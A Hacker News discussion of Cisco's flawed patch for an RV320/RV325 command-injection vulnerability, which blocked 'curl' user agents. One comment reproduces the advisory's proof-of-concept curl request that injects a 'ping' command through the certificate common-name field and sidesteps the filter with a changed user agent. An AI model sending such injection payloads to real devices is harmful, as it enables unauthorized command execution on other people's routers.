
Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent - pjf
https://twitter.com/RedTeamPT/status/1110843396657238016
======
danso
Of all the security post-mortems I’ve ever wanted to read, it’s sad I’ll
probably never get to read this one and its tale of how a team of well-paid
comfortable engineers got together and decided this patch was a good idea.

~~~
0xcde4c3db
Having been involved in meetings where "stop ship" was the phrase of the day,
I'd bet money that the following at least vaguely resembles a real
conversation:

Engineer Alice: We should really fix this properly.

Manager: How sure are you that the proper fix won't break something else for
$BIG_CUSTOMERS who are responsible for $OBSCENE percent of this product line's
revenue?

Engineer Bob: Uh, ten percent on a good day? Do you remember the last time we
applied a "simple" hotfix to this function? I almost had to sleep under my
desk.

Manager: And we can just prevent it with an extra regex rule in the front end
code?

Engineer Alice: ... Yes. _irrepressibly existential sigh_

Manager: How much QA effort to call this good?

QA Engineer: We can run through a cut-down version of the acceptance test
suite in four or five hours.

Manager: And for the proper fix?

QA Engineer: Oh, hell, at least a week of stress testing to really be sure.

Manager: Add the regex rule.

~~~
admax88q
On HN its always big bad management who is the cause of every security problem
or shoddy piece of engineering. If only that pesky management would screw off
then we could do things "properly".

You'd be suprieed at how many incompetent engineers there are out there. If
"engineer" Alice in your story was actually competent they would never agree
to implement the proposed "fix". Its not a fix. To pass it off as one would be
malpractice for a real Engineer.

~~~
nabla9
"Engineer" conveys image of middle class white-collar job with relatively high
status, good education and responsibilities. That word now used for everyone
doing programming related jobs inside office space for no good reason.

I think the word "tehnician" should be used to describe most grey-collar ICT
jobs, including most programmers. Their responsibility and scope of their work
is limited. Many programming jobs are closer to blue collar factory level
mechanic than engineer.

[https://en.wikipedia.org/wiki/Grey-
collar](https://en.wikipedia.org/wiki/Grey-collar)

[https://en.wikipedia.org/wiki/Technician](https://en.wikipedia.org/wiki/Technician)

~~~
pjmlp
Thankfully there are countries where Engineer is still a proper word, not
something that you are allowed to call yourself after a 6 month bootcamp.

~~~
FearNotDaniel
Yup, in the UK it bugs me when I keep meeting people who introduce themselves
as an 'engineer'. When I ask them if they do mechanical or civil engineering,
then I usually get to say "ah, so you're a programmer, just like me".

One thing I did sometimes like about being in Austria is the obsession with
academic titles they have there... if somebody is a qualified engineer, they
invariably use "Ing" as a title in place of "Mr" or "Ms"; people with two
doctorates (not uncommon) really do call themselves Dr Dr So-and-so.

~~~
madengr
What is qualified in Austria? In the USA, in most states, you must be licensed
to have engineering in your business name. Your name is usually suffixed with
PE.

~~~
dharmab
But in the USA you can refer to yourself generically as a Software Engineer
without any formal education.

~~~
madengr
Yes. I don’t think there is even a PE licensing path for software, so even
with a CS degree you could never become a licensed engineer. You have to work
under a PE for 5 years, then take the PE exam, then CE credits.

I have an MSEE, but can’t put engineer in my title. Though Ing. sounds kind of
cool.

~~~
russnewcomer
There actually was a PE for Software Engineering, but it is being
discontinued, because almost no one took it.

[https://ncees.org/ncees-discontinuing-pe-software-
engineerin...](https://ncees.org/ncees-discontinuing-pe-software-engineering-
exam/)

~~~
madengr
Wow, didn’t know they had one. I wonder how they handle the licensing as there
would be no one to complete the 5 year understudy; chicken and the egg.

------
StavrosK
I don't see what the fuss is about. This is an effective mitigation, given
that software can't just arbitrarily lie about its user agent.

~~~
teraflop
I guess the biggest problem is that the mitigation isn't future-proof.
Someday, there might be other command-line tools besides cURL that can be used
for this kind of attack.

A better fix would be to just drop all incoming IPv4 packets that have the
"evil" bit set.
([https://www.ietf.org/rfc/rfc3514.txt](https://www.ietf.org/rfc/rfc3514.txt))
Extending this protection to IPv6 is left as an exercise for the reader.

~~~
StavrosK
Ah, but what about packets that aren't evil, just gullible and manipulated by
some third party?

~~~
dvhh
Then add a "tainted by evil" flag to the ipv7 spec, or better, just add a
"pure" flag to future ip spec.

~~~
StavrosK
I think I'd almost prefer an "alignment" flag, so we don't mischaracterize all
the Chaotic Neutral packets.

~~~
dvhh
But then what to do with the Lawful Evil packets ?

~~~
webninja
Add an x-Lawful-Warrant parameter to provide a warrant. It can’t be read by
anything but the best AI technology and is included in every HTTP request. No
warrant, no response!

------
derpherpsson
Cisco is crumbling under its own weight.

This is a symptom of the rot in their management, and probably also a sign
that they have hired too many incompetents.

It probably also is a sign of the current age. After the recovery from the IT-
bubble programming got really hot. Thus: Too many of the new programmers wants
to be programmers because it pays well - not because they love their craft. So
therefore we have a bunch of well-paid but uninterested people seeking jobs at
prestigious companies.

Culture matters. I want my socially maladapt terminal junkies back plz.

~~~
chii
> I want my socially maladept neckbeards and terminal junkies back plz.

the MBA types don't like these hacker types - personality clash and whatnots.

But the MBA types control the company from above, and the hacker types don't
like to do management work. The result is obvious.

~~~
derpherpsson
Some time ago I went through the list of all the major router manufacturers
and rated them on 1) security, and 2) long term usability, and 3) culture.

My conclusion was that I would buy my infrastructure from Allied Telesis. It's
pretty much a Japanese version of Cisco, but it's still healthy.

Ubiquity was number 2. I refrain from buying from them only because of their
glossy UI.

Mikrotik was on that list. Until I saw how horrible their winbox protocol was.
And their implementation of SMB.. I must assume there are still plenty of
unknown RCEs there.

~~~
ryanlol
[https://threatpost.com/hardware-vendor-offers-backdoor-
every...](https://threatpost.com/hardware-vendor-offers-backdoor-every-
product-052611/75275/3/)

At least Allied Telesis documents their backdoors :)

~~~
derpherpsson
LOL

I guess there is nothing good.. what is wrong with people :(

------
Tepix
This "fix" seriously hurts Cisco's credibility. How can you trust their
products? Perhaps they are thinking that noone gives a damn anyway after no
less than five backdoors² were found in their products in 2018 alone? Just
incredible.

² [https://www.tomshardware.com/news/cisco-backdoor-
hardcoded-a...](https://www.tomshardware.com/news/cisco-backdoor-hardcoded-
accounts-software,37480.html)

~~~
sparkling
Cisco is in the business of selling big, black, expensive boxes that have a
lot of security badges and fancy icons. People who buy such boxes don't care
if they actually work, they want a big box so that they can claim they
"invested in security".

~~~
user5994461
What would you buy instead of Cisco?

HP and Dell are the same thing. From experience a decade ago, the HP usually
did not have the enterprise features they advertised.

The other minor brands are very hard to procure if you're not in the US or a
primary English speaking country.

~~~
Drdrdrq
Juniper? Extreme? The list is not very long, but doesn't contain just Cisco.

~~~
user5994461
Last I checked, long ago, they were impossible to procure in France.

Pretty sure Extreme is still non-existent in Europe as of today.

For all the flaws of Cisco, well the only flaw is the price, they can deliver
in any language anywhere in the world.

~~~
Drdrdrq
Juniper has offices and partners all over EU, for example in Paris [0].
Similar to Extreme [1].

I don't know what problems you encountered in France, but I can assure you
both of them are very well represented across the whole EU, even less
developed parts of it.

The reason managers pick Cisco is mostly that "nobody gets fired for picking
Cisco" imho.

[0] [https://www.juniper.net/us/en/contact-us/sales-
offices/paris...](https://www.juniper.net/us/en/contact-us/sales-
offices/paris/)

[1] [https://fr.extremenetworks.com/](https://fr.extremenetworks.com/)

------
sschueller
Meanwhile the US goes around telling other countries not to use Huawei because
they can't guarantee security. [1]

[1] [https://www.forbes.com/sites/zakdoffman/2019/02/19/huawei-
fo...](https://www.forbes.com/sites/zakdoffman/2019/02/19/huawei-founder-the-
u-s-does-not-represent-the-world-they-will-not-crush-us/#fee844a2433d)

~~~
gvand
I doubt they are referring to their security bugs.

------
MiddleEndian
User agents shouldn't exist any more. They serve only to help unsuspecting
users be fingerprinted.

~~~
baggy_trough
Rubbish. They are incredibly useful for debugging.

~~~
justinjlynn
There are better solutions available than hanging functionality on unreliable
vestigial bits and pieces that shouldn't be there anyway which, because others
abuse the functionality, you can't trust to be correct for debugging purposes.

~~~
adrr
99% of the traffic has the correct user-agent which is useful in tracking down
issues that are browser specific. The other 1% will just get ignored as noise.
And it's not like we can't tell what type of browser they are using with
browser specific objects that we can pull from javascript. We just can't infer
the version of the browser which is critical for debugging issues.

~~~
kevin_thibedeau
I use a randomized user agent and every once in a while get rejected by a site
that has decided my browser can't be supported. Usually when I'm on some
Safari version. I doubt much effort is being done to identify fake user agents
since there are better fruit to pick in the fingerprinting game.

------
rvr_
Don't blame the manager, the PO, the CEO. This is ABSURD engineering
incompetence. The fellow that did that _fix_ probably had no idea how to
properly solve the issue.

~~~
tonyedgecombe
If it is then it's management's responsibility for allowing that incompetence
to exist. These sort of issues all come from the culture which is driven from
the top.

------
Corrado
Here is the original vulnerability report: [https://www.redteam-
pentesting.de/en/advisories/rt-sa-2019-0...](https://www.redteam-
pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection)

~~~
JdeBP
... which has

    
    
        -A kurl
    

in the proof of concept.

I also note the timeline

* 2019-01-22 Firmware 1.4.2.20 released by vendor

...

* 2019-02-07 Incomplete mitigation of vulnerability identified

...

* 2019-03-25 Vendor requests postponed disclosure

So this is apparently a bad fix that Cisco has known about since February, and
asked for an extension in order to fix again.

------
jrochkind1
"That's not how this works. That's not how any of this works."

------
pyb
Did they hire someone off freelancer.com to fix this ?

(in reference to :
[https://news.ycombinator.com/item?id=19318498#19329754](https://news.ycombinator.com/item?id=19318498#19329754))

------
bifrost
I posted something related to this a couple weeks ago. Chase banned my web
client because its not Windows/OSX. It works fine if I change my user agent...
FWIW the RV series is the ex-linksys stuff so it should all be thrown in the
trash anyways.

------
arcticbull
I... do they know about -A? Someone should tell them.

------
icedchai
Okay, so the fix is bad. Now, you have to wonder how this "fix" made it
through code review, QA, release... You can blame the engineer. Perhaps they
were rushed, inexperienced, or both, but this is a failure on all levels.

~~~
smt88
Many people would've seen and signed off on this fix, not just one engineer.

~~~
icedchai
Yes, exactly my point. How can this happen? Maybe nobody cares.

------
Camillo
I think this is called "Test Driven Development". /s

~~~
jasonhansel
Actually, this sort of superficial fix can be a result of (overzealous) TDD.

~~~
earenndil
Tests must not be robust enough, then.

~~~
sheeshkebab
yes, they need to add a test for wget (and a comparable fix) - that will teach
them how to do tdd right.

~~~
armada651
They'll just add another user agent check.

------
runeks
The updated PoC command from the exploit page[1]:

    
    
        $ curl -s -k -A kurl -X POST -b "$COOKIE" \
        --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
        "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
        "&organization=A&organization_unit=A&email=ab%40example.com"\
        "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
        "SelectSubject_s=1" \
        --data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
        "https://192.168.1.1/certificate_handle2.htm?type=4"
    

Quick, Cisco! Also add “kurl” to the list of banned user agents.

[1] [https://www.redteam-pentesting.de/en/advisories/rt-
sa-2019-0...](https://www.redteam-pentesting.de/en/advisories/rt-
sa-2019-005/-cisco-rv320-command-injection)

------
craftoman
That's hilariously reasonable if someone didn't read the news latetly and
suddenly got a 403 while executing this payload using curl would probably quit
and be like "meh it got patched". Look on the bright side guys.

------
fafl
curl -A "UserAgentString" [http://example.com](http://example.com)

------
0x0000000
I have one of these routers :\ So far I'm unable to get the PoCs to work but
that doesn't make me confident.

I'm curious how pen testers reverse the .bin firmware download into source
code, anyone have any insight there?

~~~
MertsA
That's not source code, that's just a config file embedded into the firmware.
For most firmware, it's a large binary file that often has different sections
containing stuff like an OS kernel at one spot, a compressed archive somewhere
else, etc. For the Cisco firmware in question in the middle of the firmware is
a compressed CPIO archive (think of it like a zip file) that contains the root
file system. The router is actually a small linux computer, inside that
archive they have a config file for nginx (a web server) that tells nginx to
return an error if it sees the user agent string for curl. There's no
programming required here, just a trivial configuration change that masks the
actual issue.

------
davesque
I feel like this tweet sums up the situation:
[https://twitter.com/dogetard/status/1111110061768822784?s=20](https://twitter.com/dogetard/status/1111110061768822784?s=20)

------
melbourne_mat
Without actually knowing the truth, my guess is outsourcing: Cisco thought it
would be a great idea to save some cash on technical staff so they now do a
lot of the grunt work through company X in country Y.

------
mikevp
It's not like anyone could ever change their user agent in their curl config.

Oh, wait...

cat ~/.curlrc user-agent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0)
Gecko/20100101 Firefox/64.0"

------
C1sc0cat
They do know that you can spoof the user agent I regularly do this to crawl
sites.

------
forgotAgain
I wish it was Curly. We could then make jokes with Moe and Larry.

------
Cyph0n
Ouch. Thankfully, I get to work on a more interesting router...

------
ikeboy
Source says they also did some input sanitizing along with blocking curl, and
they had to make a new PoC to get around that. If I'm reading that right then
this isn't really an issue, nothing wrong with defense in depth.

Edit:

>The update adds several filters to handle single quotes in user input.
However, these filters can be evaded by specially crafted inputs. By providing
the following string for the certificate's common name, a "ping" command can
be injected:

Title is misleading, implying the only patch was blacklisting curl.

~~~
Dylan16807
The equivalent of a "pls dont hack" sign is not defense in depth.

Good to know they at least _half_ fixed the problem, I guess. But that's not
enough, and they should be capable of testing this.

~~~
user5994461
Can anything without a "please don't hack" sign considered defense in depth?

Probably not, hence an appropriate first patch.

~~~
Dylan16807
Yes it can. If you see a product that claims to be secure, with multiple
layers of security, certain exceptionally-fragile measures should _decrease_
how much you believe that claim. Layers of security have to at least be mildly
effective to count as layers.

If you're fighting an active attack you can stall by filtering on some
arbitrary parameter unrelated to the actual problem. For anything that's
supposed to last more than an hour, it's worse than useless. It makes your
system more complex for no security benefit. An idea like that should never
make it into a product release.

